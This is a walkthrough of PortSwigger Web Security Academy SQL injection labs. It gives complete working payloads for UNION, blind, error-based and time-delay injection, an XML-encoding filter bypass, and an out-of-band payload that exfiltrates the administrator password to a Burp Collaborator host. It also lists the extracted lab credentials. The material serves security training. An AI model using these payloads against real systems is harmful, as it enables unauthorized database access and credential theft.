WebSecurityAcademy (PortSwigger) – SQL Injections

Walk-through of SQL injection lab on PortSwigger Web Security Academy.

💡 Use the Hackvertor extension to URL encode the payload.

Apprentice – SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Access the lab
  • Intercept requests using Burp Suite.
  • Click on a category in the search.
  • Send the request to the repeater.
  • Add encoded “‘ or 1=1–” to the category.
GET /filter?category=<@urlencode>Corporate gifts' or 1=1-- <@/urlencode> HTTP/1.1

Apprentice – SQL injection vulnerability allowing login bypass

Access the lab
  • Click on Login
  • Enter administrator as the user
  • Enter “‘ or 1=1–” as the password

Practitioner – SQL injection UNION attack, determining the number of columns returned by the query

Access the lab
GET /filter?category=<@urlencode>' UNION SELECT NULL, NULL, NULL -- <@/urlencode> HTTP/1.1

Practitioner – SQL injection UNION attack, finding a column containing text

Access the lab

Unique string to retrieve was “ZoD3B6”.

GET /filter?category=<@urlencode>whatever' UNION SELECT null, 'ZoD3B6', null -- <@/urlencode> HTTP/1.1

Practitioner – SQL injection UNION attack, retrieving data from other tables

Access the lab

The database contains a different table called users, with columns called username and password. Then log in as administrator.

Find number of columns using the UNION clause

GET /filter?category=<@urlencode>whatever' UNION SELECT null, null -- <@/urlencode> HTTP/1.1

Extract users and passwords

GET /filter?category=<@urlencode>whatever' UNION SELECT username, password FROM users -- <@/urlencode> HTTP/1.1
carlos:rifvs4iiwpiegvajsb4l
wiener:5ferfkh1o05ecxoy1u8m
administrator:9ze5m3d2n4vmh7p5x6ou

Log in with user “administrator” and password “9ze5m3d2n4vmh7p5x6ou”.

Practitioner – SQL injection UNION attack, retrieving multiple values in a single column

Access the lab

Find number of columns using the UNION clause

GET /filter?category=<@urlencode>whatever' UNION SELECT null, null -- <@/urlencode> HTTP/1.1

Extract data

GET /filter?category=<@urlencode>whatever' UNION SELECT null, CONCAT(username,':',password) FROM users -- <@/urlencode> HTTP/1.1
wiener:bxmfaspk6mju403htpqg
administrator:y148iiauuw687zfxuff8
carlos:ana1gcotyrh006ysxctc

Log in with user “administrator” and password “y148iiauuw687zfxuff8”.

Practitioner – SQL injection attack, querying the database type and version on Oracle

Access the lab

Find number of columns using the UNION clause

GET /filter?category=<@urlencode>whatever' UNION SELECT null, null FROM DUAL -- <@/urlencode> HTTP/1.1

Both columns are displayed (value ‘a’ and ‘b’).

GET /filter?category=<@urlencode>whatever' UNION SELECT 'a', 'b' FROM DUAL -- <@/urlencode> HTTP/1.1

Extract Database version

GET /filter?category=<@urlencode>whatever' UNION SELECT banner, 'b' FROM v$version -- <@/urlencode> HTTP/1.1

Practitioner – SQL injection attack, querying the database type and version on MySQL and Microsoft

Access the lab
GET /filter?category=<@urlencode>whatever' UNION SELECT @@version, null -- <@/urlencode> HTTP/1.1

Practitioner – SQL injection attack, listing the database contents on non-Oracle databases

Access the lab

Find number of columns using the UNION clause

GET /filter?category=<@urlencode>whatever' UNION SELECT 'a', null -- <@/urlencode> HTTP/1.1

Find DBMS & version

GET /filter?category=<@urlencode>whatever' UNION SELECT version(), null -- <@/urlencode> HTTP/1.1

DBMS is “”PostgreSQL 12.12 (Ubuntu 12.12-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, 64-bit.

List tables

GET /filter?category=<@urlencode>whatever' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema = 'public' -- <@/urlencode> HTTP/1.1
users_wfwayp
products

List columns

GET /filter?category=<@urlencode>whatever' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users_wfwayp' -- <@/urlencode> HTTP/1.1
password_axravo
username_nstguk

Extract data (user/pass)

GET /filter?category=<@urlencode>whatever' UNION SELECT username_nstguk,password_axravo FROM users_wfwayp -- <@/urlencode> HTTP/1.1
administrator:olp7le4nsgjcb8qi6qx2
wiener:93dbyy3bukep1gdnjx1x
carlos:5s1m1zf03k541ycr95b3

Log in with user “administrator” and password “olp7le4nsgjcb8qi6qx2”.

Practitioner – SQL injection attack, listing the database contents on Oracle

Access the lab

Find number of columns using the UNION clause

GET /filter?category=<@urlencode>whatever' UNION SELECT null, null FROM DUAL -- <@/urlencode> HTTP/1.1

Find DBMS & version

GET /filter?category=<@urlencode>whatever' UNION SELECT banner, null FROM v$version -- <@/urlencode> HTTP/1.1

DBMS is “Oracle Database 11g Express Edition Release 11.2.0.2.0 – 64bit Production”.

List tables

GET /filter?category=<@urlencode>whatever' UNION SELECT owner || '.' ||table_name, null FROM all_tables -- <@/urlencode> HTTP/1.1
PETER.USERS_VYFZUT

List columns

GET /filter?category=<@urlencode>whatever' UNION SELECT column_name, null FROM all_tab_columns WHERE owner='PETER' AND table_name='USERS_VYFZUT' -- <@/urlencode> HTTP/1.1
PASSWORD_BHZMKG
USERNAME_TXYAFD

Extract data

GET /filter?category=<@urlencode>whatever' UNION SELECT USERNAME_TXYAFD, PASSWORD_BHZMKG FROM PETER.USERS_VYFZUT -- <@/urlencode> HTTP/1.1
administrator:tirn63sjk0u7fctysiz1
carlos:3ymcz0cq6e3xs3dfbawd
wiener:e1hyyxybycm1f5mdewdr

Log in with user “administrator” and password “tirn63sjk0u7fctysiz1”.

Practitioner – Blind SQL injection with conditional responses

Access the lab

Test for injection

The “Welcome back” message is in the server’s response.

Cookie: TrackingId=<@urlencode>whatever' OR 1=1 -- <@/urlencode>;

Test that a row is returned for user administrator

Cookie: TrackingId=<@urlencode>whatever' UNION SELECT password FROM users WHERE username = 'administrator' -- <@/urlencode>;

Find the administrator’s password

Use the Intruder module to check for every character except the “%” and “_” characters as they have a meaning in the SQL “LIKE” function. When no characters are found, try the “_” character.

Cookie: TrackingId=<@urlencode>whatever' UNION SELECT password FROM users WHERE username = 'administrator' AND password LIKE 'tin_rboqnci_%' -- <@/urlencode>;

We can also find password length (20 chars) using the underscore:

Cookie: TrackingId=<@urlencode>whatever' UNION SELECT password FROM users WHERE username = 'administrator' AND password LIKE 'tin9rboqnci_________' -- <@/urlencode>;
Cookie: TrackingId=<@urlencode>whatever' UNION SELECT password FROM users WHERE username = 'administrator' AND password LIKE 'tin9rboqncig4mrychdt' -- <@/urlencode>;

Log in with user “administrator” and password “tin9rboqncig4mrychdt”.

Practitioner – Blind SQL injection with conditional errors

Access the lab

Find the DBMS

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT 'a' FROM DUAL)='a' -- <@/urlencode>;

DBMS is Oracle

Build the query to discover the password

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT password FROM users WHERE username = 'administrator')='a' -- <@/urlencode>;
Cookie: TrackingId=<@urlencode>whatever' AND (SELECT CASE WHEN (password LIKE '%') THEN 1 ELSE 1/0 END FROM users WHERE username = 'administrator')=1 -- <@/urlencode>;

These are valid SQL queries that do not trigger an error.

Try triggering an error

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT CASE WHEN (1=0) THEN 1 ELSE 1/0 END FROM users WHERE username = 'administrator')=1 -- <@/urlencode>;

Find the password length

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT CASE WHEN (password LIKE '_') THEN 1 ELSE 1/0 END FROM users WHERE username = 'administrator')=1 -- <@/urlencode>;

Increase the length until HTTP 200 OK is returned by the server.

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT CASE WHEN (password LIKE '____________________') THEN 1 ELSE 1/0 END FROM users WHERE username = 'administrator')=1 -- <@/urlencode>;

Password has 20 characters.

Find the password

Send the request to the Intruder module. Check for every character except the “%” and “_” characters as they have a meaning in the SQL “LIKE” function.

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT CASE WHEN (password LIKE '§_§___________________') THEN 1 ELSE 1/0 END FROM users WHERE username = 'administrator')=1 -- <@/urlencode>;

[…]

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT CASE WHEN (password LIKE 'q9v8t97x9vsje2rrm§_§__') THEN 1 ELSE 1/0 END FROM users WHERE username = 'administrator')=1 -- <@/urlencode>;

Send the request to the repeater and validate the password found

Cookie: TrackingId=<@urlencode>whatever' AND (SELECT CASE WHEN (password = 'q9v8t97x9vsje2rrmtxs') THEN 1 ELSE 1/0 END FROM users WHERE username = 'administrator')=1 -- <@/urlencode>;

Log in with user “administrator” and password “q9v8t97x9vsje2rrmtxs”.

Practitioner – Visible error-based SQL injection

Access the lab

This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned. The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account.

Try adding a single quote to the cookie:

Cookie: TrackingId=whatever';
Unterminated string literal started at position 44 in SQL SELECT * FROM tracking WHERE id = 'whatever''. Expected  char

Add a subquery and cast the returned value to an integer:

Cookie: TrackingId=' AND CAST((SELECT 1) AS int) -- ;
ERROR: argument of AND must be type boolean, not type integer

The expected type is boolean, so add “=1”:

Cookie: TrackingId=' AND CAST((SELECT 1) AS int)=1 -- ;

The query is valid (no errors). NOTE: The input is truncated so we cannot write the full subquery for the administrator account. Use “LIMIT 1”. The administrator is often the first account created in a system and is often the first line.

Cookie: TrackingId=' AND CAST((SELECT username FROM users LIMIT 1) AS int)=1 -- ;
ERROR: invalid input syntax for type integer: "administrator"

Extract the password using the same technique.

Cookie: TrackingId=' AND CAST((SELECT password FROM users LIMIT 1) AS int)=1 -- ;
ERROR: invalid input syntax for type integer: "zfp8exhvbpkked4026g7"

Log in with user “administrator” and password “zfp8exhvbpkked4026g7”.

Practitioner – Blind SQL injection with time delays

Access the lab

Since the DBMS used is unknown, try different payloads until a delay of 10 seconds is executed. Use the SQL injection cheat sheet. The DBMS is PostgreSQL.

Cookie: TrackingId=<@urlencode>whatever'; SELECT pg_sleep(10) -- <@/urlencode>;

Practitioner – Blind SQL injection with time delays and information retrieval

Access the lab

Find the DBMS

DBMS is PostgreSQL (like previous exercise).

Cookie: TrackingId=<@urlencode>whatever'; SELECT pg_sleep(10) -- <@/urlencode>;

Build the query to discover the password

Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END -- <@/urlencode>;
Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (password LIKE '%') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator' -- <@/urlencode>;

Find the password length

Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (LENGTH(password) = 20) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator' -- <@/urlencode>;

Password has 20 characters.

Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (password LIKE '____________________') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator' -- <@/urlencode>;

Send the request to the Intruder module. Check for every character except the “%” and “_” characters as they have a meaning in the SQL “LIKE” function. Set the resource pool to 1 request at a time. In the Columns menu, add Time of day.

Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (password LIKE '§_§___________________') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator' -- <@/urlencode>;

Observe the attack and look for the character that triggers the 10 seconds delay or check Time of day to see the 10 seconds difference between 2 characters.

Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (password LIKE 'uj5byiatct§_§_________') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator' -- <@/urlencode>;
Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (password LIKE 'uj5byiatctcpmdyudsa§_§') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator' -- <@/urlencode>;

Validate the password

Use the Repeater module to validate the password found.

Cookie: TrackingId=<@urlencode>whatever'; SELECT CASE WHEN (password LIKE 'uj5byiatctcpmdyudsah') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users WHERE username='administrator' -- <@/urlencode>;

Log in with user “administrator” and password “uj5byiatctcpmdyudsah”.

Practitioner – Blind SQL injection with out-of-band interaction

Access the lab

Select text “BURP-COLLABORATOR-SUBDOMAIN”, right-click and select “Insert Collaborator payload” to insert a the Burp Collaborator subdomain.

Cookie: TrackingId=<@urlencode>whatever' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual --

Practitioner – Blind SQL injection with out-of-band data exfiltration

Access the lab

Select text “BURP-COLLABORATOR-SUBDOMAIN”, right-click and select “Insert Collaborator payload” to insert a the Burp Collaborator subdomain.

Cookie: TrackingId=<@urlencode>whatever' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual -- <@/urlencode>;

The Collaborator server received a DNS lookup of type A for the domain name flxpvehzs08jev6bv9or.BURP-COLLABORATOR-SUBDOMAIN.

Log in with user “administrator” and password “flxpvehzs08jev6bv9or”.

Practitioner – SQL injection with filter bypass via XML encoding

Access the lab

Try to extract the password

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1 UNION SELECT password from users WHERE username = 'administrator' --</storeId></stockCheck>

The server responds with “Attack detected”.

Bypass filter via XML encoding

Send the payload to the Decoder module. Select Encode as HTML.

1 UNION SELECT password from users WHERE username = 'administrator' --
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>&#x31;&#x20;&#x55;&#x4e;&#x49;&#x4f;&#x4e;&#x20;&#x53;&#x45;&#x4c;&#x45;&#x43;&#x54;&#x20;&#x70;&#x61;&#x73;&#x73;&#x77;&#x6f;&#x72;&#x64;&#x20;&#x66;&#x72;&#x6f;&#x6d;&#x20;&#x75;&#x73;&#x65;&#x72;&#x73;&#x20;&#x57;&#x48;&#x45;&#x52;&#x45;&#x20;&#x75;&#x73;&#x65;&#x72;&#x6e;&#x61;&#x6d;&#x65;&#x20;&#x3d;&#x20;&#x27;&#x61;&#x64;&#x6d;&#x69;&#x6e;&#x69;&#x73;&#x74;&#x72;&#x61;&#x74;&#x6f;&#x72;&#x27;&#x20;&#x2d;&#x2d;</storeId></stockCheck>

Log in with user “administrator” and password “2qigy0infbnhlwwocib0”.